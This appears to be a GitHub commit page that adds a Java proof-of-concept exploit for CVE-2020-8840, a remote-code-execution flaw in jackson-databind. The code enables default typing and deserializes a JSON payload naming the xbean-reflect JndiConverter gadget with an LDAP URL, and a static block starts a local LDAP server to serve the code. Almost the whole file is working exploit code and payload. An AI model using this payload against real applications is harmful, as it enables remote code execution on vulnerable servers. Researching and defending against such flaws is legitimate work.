Skip to content

Commit c97f292

Browse files
author
threedr3am
committed
feat:增加jackson xbean-reflect(CVE-2020-8840)poc
xbean-reflect依赖gadget
1 parent 03ae318 commit c97f292

File tree

1 file changed

+40
-0
lines changed

1 file changed

+40
-0
lines changed
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
package com.threedr3am.bug.jackson;
2+
3+
import com.fasterxml.jackson.databind.ObjectMapper;
4+
import com.threedr3am.bug.server.LdapServer;
5+
import java.io.IOException;
6+
7+
/**
8+
*
9+
* jackson-databind <= 2.10.2 RCE,需要开启DefaultType
10+
*
11+
* CVE-2020-8840
12+
*
13+
* XBean-reflect依赖的gadget
14+
*
15+
* <dependency>
16+
* <groupId>org.apache.xbean</groupId>
17+
* <artifactId>xbean-reflect</artifactId>
18+
* </dependency>
19+
*
20+
* @author threedr3am
21+
*/
22+
public class JndiConverterPoc {
23+
24+
static {
25+
//rmi server示例
26+
// RmiServer.run();
27+
28+
//ldap server示例
29+
LdapServer.run();
30+
}
31+
32+
public static void main(String[] args) throws IOException {
33+
ObjectMapper mapper = new ObjectMapper();
34+
mapper.enableDefaultTyping();
35+
36+
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:43658/Calc\"}]";
37+
mapper.readValue(json, Object.class);
38+
}
39+
40+
}

0 commit comments

Comments
 (0)